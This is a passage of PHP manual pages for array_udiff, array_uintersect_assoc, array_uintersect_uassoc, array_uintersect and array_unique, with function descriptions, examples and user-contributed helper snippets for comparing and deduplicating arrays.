$myCalendar->bookAppointment(new DateTime('Wednesday this week'), "Going on a snowboarding trip.");
$myCalendar->bookAppointment(new DateTime('Friday this week'), "Fixing buggy code.");

// Check availability of days by comparing $booked dates against $free dates
echo "I'm available on the following days this week...\n\n";
foreach ($myCalendar->checkAvailability() as $free) {
    echo $free->format('l'), "\n";
}
echo "\n\n";
echo "I'm busy on the following days this week...\n\n";
foreach ($myCalendar->booked as $booked) {
    echo $booked['date']->format('l'), ": ", $booked['note'], "\n";
}
?>

The above example will output:

I'm available on the following days this week...

Tuesday
Thursday

I'm busy on the following days this week...

Monday: Cleaning GoogleGuy's apartment.
Wednesday: Going on a snowboarding trip.
Friday: Fixing buggy code.

Notes

Note: Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_udiff($array1[0], $array2[0], "data_compare_func");.

See Also

  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

b4301775 at klzlk dot com 15-Jun-2011 08:09
Quick example for using array_udiff to do a multi-dimensional diff

Returns values of $arr1 that are not in $arr2

<?php
$arr1 = array( array('Bob', 42), array('Phil', 37), array('Frank', 39) );

$arr2 = array( array('Phil', 37), array('Mark', 45) );

$arr3 = array_udiff($arr1, $arr2, create_function(
    '$a,$b',
    'return strcmp( implode("", $a), implode("", $b) ); ')
    );

print_r($arr3);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => Bob
            [1] => 42
        )

    [2] => Array
        (
            [0] => Frank
            [1] => 39
        )

)
1

Hope this helps someone
jared 07-Jul-2009 09:27
Note that php does the string conversion *before* sending the values to the callback function.
adam dot jorgensen dot za at gmail dot com 08-Oct-2008 03:51
It is not stated, by this function also diffs array1 to itself, removing any duplicate values...
grantwparks at gmail dot com 31-Dec-2007 04:15
Re: "convoluted"

I think the point being made is that array_udiff() can be used not only for comparisons between homogenous arrays, as in your example (and definitely the most common need), but it can be used to compare heterogeneous arrays, too.

Consider:

<?php
function compr_1($a, $b) {
    $aVal = is_array($a) ? $a['last_name'] : $a;
    $bVal = is_array($b) ? $b['last_name'] : $b;
    return strcasecmp($aVal, $bVal);
}

$aEmployees = array(
    array('last_name'  => 'Smith',
            'first_name' => 'Joe',
            'phone'      => '555-1000'),
    array('last_name'  => 'Doe',
            'first_name' => 'John',
            'phone'      => '555-2000'),
    array('last_name'  => 'Flagg',
            'first_name' => 'Randall',
            'phone'      => '666-1000')
    );

$aNames = array('Doe', 'Smith', 'Johnson');

$result = array_udiff($aEmployees, $aNames, "compr_1");

print_r($result);
?>

Allowing me to get the "employee" that's not in the name list:

Array ( [2] => Array ( [last_name] => Flagg [first_name] => Randall [phone] => 666-1000 ) )

Something interesting to note, is that the two arguments to the compare function don't correspond to array1 and array2.  That's why there has to be logic in it to handle that either of the arguments might be pointing to the more complex employee array.  (Found this out the hard way.)
Colin 02-Aug-2006 10:15
I think the example given here using classes is convoluting things too much to demonstrate what this function does.

array_udiff() will walk through array_values($a) and array_values($b) and compare each value by using the passed in callback function.

To put it another way, array_udiff() compares $a[0] to $b[0], $b[1], $b[2], and $b[3] using the provided callback function.  If the callback returns zero for any of the comparisons then $a[0] will not be in the returned array from array_udiff().  It then compares $a[1] to $b[0], $b[1], $b[2], and $b[3].  Then, finally, $a[2] to $b[0], $b[1], $b[2], and $b[3].

For example, compare_ids($a[0], $b[0]) === -5 while compare_ids($a[1], $b[1]) === 0.  Therefore, $a[1] is not returned from array_udiff() since it is present in $b.

<?
$a = array(
        array(
                'id' => 10,
                'name' => 'John',
                'color' => 'red',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
);

$b = array(
        array(
                'id' => 15,
                'name' => 'Nancy',
                'color' => 'black',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
        array(
                'id' => 40,
                'name' => 'John',
                'color' => 'orange',
        ),
);

function compare_ids($a, $b)
{
    return ($a['id'] - $b['id']);
}
function compare_names($a, $b)
{
    return strcmp($a['name'], $b['name']);
}

$ret = array_udiff($a, $b, 'compare_ids');
var_dump($ret);

$ret = array_udiff($b, $a, 'compare_ids');
var_dump($ret);

$ret = array_udiff($a, $b, 'compare_names');
var_dump($ret);
?>

Which returns the following.

In the first return we see that $b has no entry in it with an id of 10.
<?
array(1) {
  [0]=>
  array(3) {
    ["id"]=>
    int(10)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(3) "red"
  }
}
?>

In the second return we see that $a has no entry in it with an id of 15 or 40.
<?
array(2) {
  [0]=>
  array(3) {
    ["id"]=>
    int(15)
    ["name"]=>
    string(5) "Nancy"
    ["color"]=>
    string(5) "black"
  }
  [3]=>
  array(3) {
    ["id"]=>
    int(40)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(6) "orange"
  }
}
?>

In third return we see that all names in $a are in $b (even though the entry in $b whose name is 'John' is different, the anonymous function is only comparing names).
<?
array(0) {
}
?>
dmhouse at gmail dot com 20-Jan-2005 10:44
Very easy way of achieving a case-insensitive version of array_diff (or indeed array_diff_assoc, array_intersect or any of these types of functions which have a similar function that takes a callback function as one of their parameters):

array_udiff($array1, $array2, 'strcasecmp');

This works because strcasecmp() compares two strings case-insensitively, as compared to the array_diff() which compares two strings by using the == operator, which is case-sensitive.
aidan at php dot net 28-May-2004 04:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Computes the intersection of arrays with additional index check, compares data by a callback function

  • « array_udiff
  • array_uintersect_uassoc »
  • PHP Manual
  • Array Functions
  • Computes the intersection of arrays with additional index check, compares data by a callback function

array_uintersect_assoc

(PHP 5)

array_uintersect_assoc — Computes the intersection of arrays with additional index check, compares data by a callback function

Description

array array_uintersect_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )

Computes the intersection of arrays with additional index check, compares data by a callback function.

Note that the keys are used in the comparison unlike in array_uintersect(). The data is compared by using a callback function.

Parameters

array1

The first array.

array2

The second array.

value_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )

Return Values

Returns an array containing all the values of array1 that are present in all the arguments.

Examples

Example #1 array_uintersect_assoc() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_assoc($array1, $array2, "strcasecmp"));
?>

The above example will output:

Array
(
    [a] => green
)

See Also

  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

There are no user contributed notes for this page.


Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

  • « array_uintersect_assoc
  • array_uintersect »
  • PHP Manual
  • Array Functions
  • Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

array_uintersect_uassoc

(PHP 5)

array_uintersect_uassoc — Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

Description

array array_uintersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func , callable $key_compare_func )

Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions Note that the keys are used in the comparison unlike in array_uintersect(). Both the data and the indexes are compared by using separate callback functions.

Parameters

array1

The first array.

array2

The second array.

value_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )
key_compare_func

Key comparison callback function.

Return Values

Returns an array containing all the values of array1 that are present in all the arguments.

Examples

Example #1 array_uintersect_uassoc() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_uassoc($array1, $array2, "strcasecmp", "strcasecmp"));
?>

The above example will output:

Array
(
    [a] => green
    [b] => brown
)

See Also

  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function

User Contributed Notes

aidan at php dot net 31-Aug-2004 12:52
Please note, the correct function synopsis is:

array array_uintersect_uassoc ( array array1, array array2 [, array ...], callback data_compare_func, callback key_compare_func)

You may specifiy as many arrays as you like, but the last two parameters must be valid call back functions.


Computes the intersection of arrays, compares data by a callback function

  • « array_uintersect_uassoc
  • array_unique »
  • PHP Manual
  • Array Functions
  • Computes the intersection of arrays, compares data by a callback function

array_uintersect

(PHP 5)

array_uintersect — Computes the intersection of arrays, compares data by a callback function

Description

array array_uintersect ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )

Computes the intersection of arrays, compares data by a callback function.

Parameters

array1

The first array.

array2

The second array.

value_compare_func

The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

int callback ( mixed $a, mixed $b )

Return Values

Returns an array containing all the values of array1 that are present in all the arguments.

Examples

Example #1 array_uintersect() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect($array1, $array2, "strcasecmp"));
?>

The above example will output:

Array
(
    [a] => green
    [b] => brown
    [0] => red
)

See Also

  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

Nate at RuggFamily dot com 02-Feb-2007 09:03
I want to stress that in the user function, you do need to return either a 1 or a -1 properly; you cannot simply return 0 if the results are equal and 1 if they are not.

The following code is incorrect:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
return 1;
}

$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>

This code is correct:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
if ($v1 > $v2) return 1;
return -1;
}
$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>


Removes duplicate values from an array

  • « array_uintersect
  • array_unshift »
  • PHP Manual
  • Array Functions
  • Removes duplicate values from an array

array_unique

(PHP 4 >= 4.0.1, PHP 5)

array_unique — Removes duplicate values from an array

Description

array array_unique ( array $array [, int $sort_flags = SORT_STRING ] )

Takes an input array and returns a new array without duplicate values.

Note that keys are preserved. array_unique() sorts the values treated as string at first, then will keep the first key encountered for every value, and ignore all following keys. It does not mean that the key of the first related value from the unsorted array will be kept.

Note: Two elements are considered equal if and only if (string) $elem1 === (string) $elem2 i.e. when the string representation is the same, the first element will be used.

Parameters

array

The input array.

sort_flags

The optional second parameter sort_flags may be used to modify the sorting behavior using these values:

Sorting type flags:

  • SORT_REGULAR - compare items normally (don't change types)
  • SORT_NUMERIC - compare items numerically
  • SORT_STRING - compare items as strings
  • SORT_LOCALE_STRING - compare items as strings, based on the current locale.

Return Values

Returns the filtered array.

Changelog

Version | Description
5.2.10 | Changed the default value of sort_flags back to SORT_STRING.
5.2.9 | Added the optional sort_flags defaulting to SORT_REGULAR. Prior to 5.2.9, this function used to sort the array with SORT_STRING internally.

Examples

Example #1 array_unique() example

<?php
$input = array("a" => "green", "red", "b" => "green", "blue", "red");
$result = array_unique($input);
print_r($result);
?>

The above example will output:

Array
(
    [a] => green
    [0] => red
    [1] => blue
)

Example #2 array_unique() and types

<?php
$input = array(4, "4", "3", 4, 3, "3");
$result = array_unique($input);
var_dump($result);
?>

The above example will output:

array(2) {
  [0] => int(4)
  [2] => string(1) "3"
}

See Also

  • array_count_values() - Counts all the values of an array

Notes

Note: Note that array_unique() is not intended to work on multi dimensional arrays.

User Contributed Notes

Carlos Acedo 07-Jul-2014 06:43
I have been testing and I found that <?php array_keys(array_flip($array)); ?> is quite faster than <?php array_unique($array); ?>
mostafatalebi at rocketmail dot com 13-Dec-2013 11:38
if you fine the need to get a sorted array without it preserving the keys, use this code which has worked for me:

$array = array("hello", "fine", "good", "fine", "hello", "bye");

$get_sorted_unique_array = array_values(array_unique($array));

// the above code returns an array which is both unique and sorted from zero.
Felipe CWB 12-Dec-2013 01:48
array_unique only compares with the string,
But to compare with various types of variables I used like this:

<?php
/**
* master ArrayUnique
* now compare all types
* @param array $array
* @return array
*/
function arrayUnique($array)
{
    foreach ($array as $k => $v) {
        foreach ($array as $k2 => $v2) {
            if (($v2 == $v) && ($k != $k2)) {
                unset($array[$k]);
            }
        }
    }
    return $array;
}

$a = [];

$a[] = (object)['nome' => 'Bob'];
$a[] = (object)['nome' => 'Peter'];
$a[] = (object)['nome' => 'Jhon'];
$a[] = (object)['nome' => 'James'];
$a[] = (object)['nome' => 'David'];
$a[] = (object)['nome' => 'Bob']; // repeated

if ($a[0] == $a[5]) { // true
    echo 'yes';
} else {
    echo 'not';
}

echo "\n\n";

$a = arrayUnique($a);

print_r($a);
?>
CertaiN 29-Nov-2013 11:58
Let's implement array_unique_callback() !

Function:
<?php

function array_unique_callback(array $arr, callable $callback, $strict = false) {
    return array_filter(
        $arr,
        function ($item) use ($strict, $callback) {
            static $haystack = array();
            $needle = $callback($item);
            if (in_array($needle, $haystack, $strict)) {
                return false;
            } else {
                $haystack[] = $needle;
                return true;
            }
        }
    );
}

?>

Usage:
<?php

$companies = array(
    0 => array(
        'name' => 'Foo - Ltd.',
        'phone' => 'XXX-YYY-ZZZ',
        'category' => 'supplyment',
    ),
    1 => array(
        'name' => 'Bar - Ltd.',
        'phone' => 'xxx-yyy-zzz',
        'category' => 'supplyment',
    ),
    2 => array(
        'name' => 'Baz - Ltd.',
        'phone' => 'AAA-BBB-CCC',
        'category' => 'alcohol',
    ),
);

$companies = array_unique_callback(
    $companies,
    function ($company) {
        return $company['category'];
    }
);

print_r($companies);

?>

Result:

Array
(
    [0] => Array
        (
            [name] => Foo - Ltd.
            [phone] => XXX-YYY-ZZZ
            [category] => supplyment
        )

    [2] => Array
        (
            [name] => Baz - Ltd.
            [phone] => AAA-BBB-CCC
            [category] => alcohol
        )

)
Tim S. 20-Jun-2013 04:14
I had to write a bunch of results to an array with a high probability of duplicates.
The array was written to the file in chunks, using a for loop. It occurred to me that I often had blank lines in my file.

Because this function preserve keys, I had gaps in my numeric keys. If you don't want to preserve keys, like me, you can use the following function.

<?php
function array_unique_ignore_keys(&$array, $sort_flags = SORT_STRING) {
    return array_values(array_unique($array, $sort_flags));
}
?>
bx16soupapes at gmail dot com 12-Jun-2013 04:55
Another form to make an array unique (manual):

This is my array

Array
(
    [0] => Array
        (
            [0] => 40665
            [1] => 40665
            [2] => 40665
            [3] => 40665
            [4] => 40666
            [5] => 40666
            [6] => 40666
            [7] => 40666
            [8] => 40667
            [9] => 40667
            [10] => 40667
            [11] => 40667
            [12] => 40667
            [13] => 40668
            [14] => 40668
            [15] => 40668
            [16] => 40668
            [17] => 40668
            [18] => 40669
            [19] => 40669
            [20] => 40670
            [21] => 40670
            [22] => 40670
            [23] => 40670
            [24] => 40671
            [25] => 40671
            [26] => 40671
            [27] => 40671
            [28] => 40671
        )

    [1] => Array
        (
            [0] => 40672
            [1] => 40672
            [2] => 40672
            [3] => 40672
        )

)

this is my script:

    $anterior = 0;
    foreach($item as $array_key => $array_value)
    {
            echo "<li>$array_key";
            echo "<ul>";
            foreach($array_value as $xarray_key => $xarray_value){
                if($xarray_value != $anterior) {
                    echo "<li>$xarray_key => $xarray_value";
                    $item_nuevo[$array_key][] = $xarray_value;    // or to use the same key number $item_nuevo[$array_key][$xarray_key] = $xarray_value;
                }
                $anterior = $xarray_value;
            }
            echo "</ul>";
    }

result:

0
    0 => 40665
    4 => 40666
    8 => 40667
    13 => 40668
    18 => 40669
    20 => 40670
    24 => 40671

1
    0 => 40672

saludos desde chile.
yosef_cool_ha at hotmail dot com 01-Apr-2013 06:45
if you wish to unique the arrays recusively(multi dimensional) no matter how deep hope this function can help you:

function array_unique_recusive($arr){
foreach($arr as $key=>$value)
if(gettype($value)=='array')
    $arr[$key]=array_unique_recusive($value);
return array_unique($arr,SORT_REGULAR);
}
sashasimkin at gmail dot com 25-Apr-2012 10:26
My object unique function:

<?php
function object_unique( $obj ){
    $objArray = (array) $obj;

    $objArray = array_intersect_assoc( array_unique( $objArray ), $objArray );

    foreach( $obj as $n => $f ) {
        if( !array_key_exists( $n, $objArray ) ) unset( $obj->$n );
    }

    return $obj;
}
?>

And these code:

<?php
class Test{
    public $pr0 = 'string';
    public $pr1 = 'string1';
    public $pr2 = 'string';
    public $pr3 = 'string2';
}

$obj = new Test;

var_dump( object_unique( $obj ) );
?>

returns:
object(Test)[1]
  public 'pr0' => string 'string' (length=6)
  public 'pr1' => string 'string1' (length=7)
  public 'pr3' => string 'string2' (length=7)
gma (at) qoob (dot) gr 12-Nov-2011 07:07
Lets say that you want to capture unique values from multidimensional arrays and flatten them in 0 depth.

i.e.
<?php
$tmp = array( 'a' => array( 1,2,3,4 ), 'b' => array( 'c' => array( 4,5,6,7 ) ) );
?>

will return with array_flat( $tmp ) --> array( 1,2,3,4,5,6,7 );

I hope that the function will help someone

<?php
/**
 * @params      : $a            array           the recursion array
 *              : $s            array           storage array
 *              : $l            integer         the depth level
 *
 */
if( !function_exists( 'array_flat' ) )
{
    function array_flat( $a, $s = array( ), $l = 0 )
    {
        # check if this is an array
        if( !is_array( $a ) )                           return $s;

        # go through the array values
        foreach( $a as $k => $v )
        {
            # check if the contained values are arrays
            if( !is_array( $v ) )
            {
                # store the value
                $s[ ]       = $v;

                # move to the next node
                continue;

            }

            # increment depth level
            $l++;

            # replace the content of stored values
            $s              = array_flat( $v, $s, $l );

            # decrement depth level
            $l--;

        }

        # get only unique values
        if( $l == 0 ) $s = array_values( array_unique( $s ) );

        # return stored values
        return $s;

    } # end of function array_flat( ...

}
?>
Friendly Code 01-Aug-2011 12:48
I required a function that removed a specific duplicate entry from an array and ignoring all others so came up with this:

<?php
function specified_array_unique($array, $value)
{
    $count = 0;

    foreach($array as $array_key => $array_value)
    {
        if ( ($count > 0) && ($array_value == $value) )
        {
            unset($array[$array_key]);
        }

        if ($array_value == $value) $count++;
    }

    return array_filter($array);
}
?>
0cool.f 23-May-2011 12:54
Hope this can help...

<?php
function array_unique_key_group($array) {
    if(!is_array($array))
        return false;

    $temp = array_unique($array);
    foreach($array as $key => $val) {
        $i = array_search($val,$temp);
        if(!empty($i) && $key != $i) {
            $temp[$i.','.$key] = $temp[$i];
            unset($temp[$i]);
        }
    }
    return $temp;
}
?>

this function return an array that is unique, but preserve every key for the element...
sorry for bad english I'm italian...

$array['asd'] = 'value';
$array['lol'] = 'value';
$array['foo'] = 'val';
$array['bar'] = 'val';

var_dump(array_unique_key_group($array));
// will be output
array(2) { ["asd,lol"]=> string(5) "value" ["foo,bar"]=> string(3) "val" }
mykelscappin at gmail dot com 31-Mar-2011 02:18
I made an array_unique function to handle deep arrays:

<?php
    function array_unique_deep($array) {
        $values=array();
        //ideally there would be some is_array() testing for $array here...
        foreach ($array as $part) {
            if (is_array($part)) $values=array_merge($values,array_unique_deep($part));
            else $values[]=$part;
        }
        return array_unique($values);
    }

    $test=array(123,456,array(789,123,array(456),789),array(123));
    print_r(array_unique_deep($test));

?>

outputs

Array
(
    [0] => 123
    [1] => 456
    [2] => 789
)
michiel ed thalent nl 19-Jun-2010 02:04
If you use SORT_NUMERIC on this kind of filtering it will be significantly faster.
However the array_flip method still is twice as fast.
Anonymous 16-Jun-2010 02:46
It's often faster to use a foreache and array_keys than array_unique:

    <?php

    $max = 1000000;
    $arr = range(1,$max,3);
    $arr2 = range(1,$max,2);
    $arr = array_merge($arr,$arr2);

    $time = -microtime(true);
    $res1 = array_unique($arr);
    $time += microtime(true);
    echo "deduped to ".count($res1)." in ".$time;
    // deduped to 666667 in 32.300781965256

    $time = -microtime(true);
    $res2 = array();
    foreach($arr as $key=>$val) {
        $res2[$val] = true;
    }
    $res2 = array_keys($res2);
    $time += microtime(true);
    echo "<br />deduped to ".count($res2)." in ".$time;
    // deduped to 666667 in 0.84372591972351

    ?>
regeda at inbox dot ru 12-Apr-2010 05:11
recursive array unique for multiarrays

<?php
function super_unique($array)
{
  $result = array_map("unserialize", array_unique(array_map("serialize", $array)));

  foreach ($result as $key => $value)
  {
    if ( is_array($value) )
    {
      $result[$key] = super_unique($value);
    }
  }

  return $result;
}
?>
brendel at krumedia dot de 24-Feb-2010 08:47
Prior to 5.2.9 you may create a list of unique objects this way:

<?php
for (; ; ) {
  // ...
  $uniqueObjectList[spl_object_hash($myObject)] = $myObject;
}
?>
amri [ at t] dhstudio dot eu 18-Dec-2009 11:36
I searched how to show only the duplicate elements from array, but failed.
Here is my solution:

<?php
function arrayDuplicate($array)
{
return array_unique(array_diff_assoc($array1,array_unique($array1)));
};
?>

Example:
<?php
$arr1 = array('foo', 'bar', 'xyzzy', '&', 'xyzzy',
'baz', 'bat', '|', 'xyzzy', 'plugh',
'xyzzy', 'foobar', '|', 'plonk', 'xyzzy',
'apples', '&', 'xyzzy', 'oranges', 'xyzzy',
'pears','foobar');

$result=arrayDuplicate($arr1);
print_r($result);exit;
?>

Output:

Array
(
[4] => xyzzy
[12] => |
[16] => &
[21] => foobar
)
Youssef Omar 16-Dec-2009 08:09
This is how to merge 2 comma separated lists with unique value only.

<?php
  $list1 = "4444, 5555, 6666";
  $list2 = "4444, 5555, 7777";

  // combine both lists with unique values only
  $list3 = implode("," , array_unique(array_merge(explode(",",$list1),explode(",", $list2))));

  echo $list3;
?>

The result is: 4444,5555,6666,7777
steve at visual77 dot com 27-May-2009 01:41
One way to use array_unique() to handle the multidimensional array issue is to use an md5 hash of the serialized array as the key. I've seen some solutions listed here that stored the serialized string, but that requires unserialization, and moving data back and forth between two states for little reason is just a bad idea. Instead, you could try this method:

<?php
$values = array();

foreach($data as $d) {
    $values[md5(serialize($d))] = $d;
}

sort($values);
?>

This will serialize and hash the value, and store the value with the hash as they key. This will ensure that each piece is only stored once, as the second attempt to store will just overwrite the first attempt with identical data.

The sort() at the end is a bit unnecessary, but I had to use it on my project, because the function I was passing the array to couldn't handle keys that weren't valid XML node names (and some md5 hash strings will start with numbers, which is invalid for XML).
dirk dot avery a t gmail 30-Apr-2009 05:45
Although array_unique is not intended to work with multi-dimensional arrays, it does on 5.2.9.  However, it does not for 5.2.5.  Beware.
Ultimater at gmail dot com 21-Apr-2009 03:26
Let's say you have
<?php
$v=array("blue","blue","blue","blue");
if($v[0]==$v[1] && $v[1]==$v[2] && $v[2]==$v[3])
echo "Y"; else echo "N";//Y
?>

It works but the if-statement gets a bit messy if the number of array elements gets massive.
I find it is easier to use array_unique like so:
<?php
$v=array("blue","blue","blue","blue");
echo sizeof(array_unique($v))==1?"Y":"N";//Y
?>
inithello at gmail dot com 12-Mar-2009 08:47
I noticed there was no way to tell array_unique() to ignore certain duplicated keys, so I wrote the following. I imagine there's half a dozen more efficient ways to do this, but here goes:

<?php
$array = array('foo', 'bar', 'xyzzy', '&', 'xyzzy',
               'baz', 'bat', '|', 'xyzzy', 'plugh',
               'xyzzy', 'foobar', '|', 'plonk', 'xyzzy',
               'apples', '&', 'xyzzy', 'oranges', 'xyzzy',
               'pears');

$ignore_values = array('|', '&');

print_r(make_unique($array, $ignore_values));

function make_unique($array, $ignore)
{
    while($values = each($array))
    {
        if(!in_array($values[1], $ignore))
        {
            $dupes = array_keys($array, $values[1]);
            unset($dupes[0]);
            foreach($dupes as $rmv)
            {
                unset($array[$rmv]);
            }
        }
    }
    return $array;
}
?>
OUTPUT:
Array
(
    [0] => foo
    [1] => bar
    [2] => xyzzy
    [3] => &
    [5] => baz
    [6] => bat
    [7] => |
    [9] => plugh
    [11] => foobar
    [12] => |
    [13] => plonk
    [15] => apples
    [16] => &
    [18] => oranges
    [20] => pears
)
serg dot podtynnyi at gmail dot com 06-Feb-2009 08:21
//Remove duplicates from a text files and dump result in one file for example: emails list, links list etc

<?php

$data1 = file("data1.txt");
$data2 = file("data2.txt");

file_put_contents('unique.txt', implode('', array_unique(array_merge($data1,$data2))));
?>
jusvalceanu - SPAM at SPAM - yahoo dot com 06-Nov-2008 11:23
so .... my problem was multidimensional sort.

<?php
      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

?>

Array $attribs is an array contaning arrays. Each array in the $attrib array consists in multiple fields (ex: name, lenght, price, etc.) to be more simpler in speech think that $attrib is the array resulted by a search sql query done by a visitator on your online shoopping website ... (so ... each array in the $attrib is a product :P) if you want to sort only the uniq results use the above or use this:

<?php

   /* Our Array of products */
   $attribs[] = array(
                           "name"         => "Test Product 1",
                           "length"     => "42 cm",
                           "weight"     => "0,5 kg",
                           "price"     => "10 $",
                           "stock"     => "100",
                        );

   $attribs[] = array(
                           "name"         => "Test Product 2",
                           "length"     => "42 cm",
                           "weight"     => "1,5 kg",
                           "price"     => "10 $",
                           "stock"     => "200",
                        );

    /* The nice stuff */

      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

      print_r($new); // $new is our sorted array

?>

Have fun tweaking this ;)) i know you will ;))

From Romania With Love
florian at box dot net 08-Oct-2008 10:29
I came across one limitation of array_unique: it doesn't work properly if you have arrays inside your main array.

The reason is that to compare two values, the function tests if (string) $value1 == (string) $value2. So if $value1 and $value2 are both arrays, the function will evaluate the test to 'Array' == 'Array', and decide that the $values are repeated even if the arrays are different.

So a work around is to find a better conversion of an array to a string, which can be done with json:

<?php
print "define an array with repeated scalar '1' and repeated 'array(1)':";
$a_not_unique = array(
    'a' => 1,
    'b' => 1,
    'c' => 2,
    'd' => array(1),
    'e' => array(1),
    'f' => array(2),
);
print_r($a_not_unique);

print "try to use simply array_unique, which will not work since it exludes 'array(2)':";
$a_unique_wrong = array_unique($a_not_unique);
print_r($a_unique_wrong);

print "convert to json before applying array_unique, and convert back to array, which will successfully keep 'array(2)':";
$a_unique_right = $a_not_unique;
array_walk($a_unique_right, create_function('&$value,$key', '$value = json_encode($value);'));
$a_unique_right = array_unique($a_unique_right);
array_walk($a_unique_right, create_function('&$value,$key', '$value = json_decode($value, true);'));
print_r($a_unique_right);
?>

Results:
define an array with repeated scalar '1' and repeated 'array(1)':
Array
(
    [a] => 1
    [b] => 1
    [c] => 2
    [d] => Array
        (
            [0] => 1
        )

    [e] => Array
        (
            [0] => 1
        )

    [f] => Array
        (
            [0] => 2
        )
)

try to use simply array_unique, which will not work since it exludes 'array(2)':
Array
(
    [a] => 1
    [c] => 2
    [d] => Array
        (
            [0] => 1
        )
)

convert to json before applying array_unique, and convert back to array, which will successfully keep 'array(2)':
Array
(
    [a] => 1
    [c] => 2
    [d] => Array
        (
            [0] => 1
        )

    [f] => Array
        (
            [0] => 2
        )
)
quecoder at gmail 26-Aug-2008 07:30
another method to get unique values is :

<?php
$alpha=array('a','b','c','a','b','d','e','f','f');

$alpha= array_keys(array_count_values($alpha));

print_r($alpha);
?>

Output:
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f )
soapergem at gmail dot com 14-Aug-2008 11:39
Here's another solution for returning an array that only includes repeated values. There is one given below but it only works on numerically indexed arrays; this one is more comprehensive since I used the foreach iterator. Also, this one preserves keys--in that the returned result contains a distinct list of repeats (storing only the first instance it encounters of each duplicate value).

<?php

function array_repeated($array)
{
    if ( !is_array($array) ) {
        return false;
    }

    $duplicates = array();
    foreach ( $array as $key => $val ) {
        end($array);
        $k = key($array);
        $v = current($array);

        while ( $k !== $key ) {
            if ( $v === $val ) {
                $duplicates[$key] = $v;
                                break;
            }

            $v = prev($array);
            $k = key($array);
        }
    }

    return $duplicates;
}

?>
Dorphalsig 28-Jul-2008 06:47
I had a problem with array_unique and multidimensional arrays ... Maybe there's a better way to do this, but this will work for any dimensional arrays.

<?php
function arrayUnique($myArray)
{
    if(!is_array($myArray))
           return $myArray;

    foreach ($myArray as &$myvalue){
        $myvalue=serialize($myvalue);
    }

    $myArray=array_unique($myArray);

    foreach ($myArray as &$myvalue){
        $myvalue=unserialize($myvalue);
    }

    return $myArray;

}
?>
ali at zkurd dot org 19-Jun-2008 10:41
a lot of people create functions just to fix a notice error about an undefined index and removes blank array value.

why not using foreach instead of the for loop?

example:
<?php
foreach ($arrayname as $key => $value) {
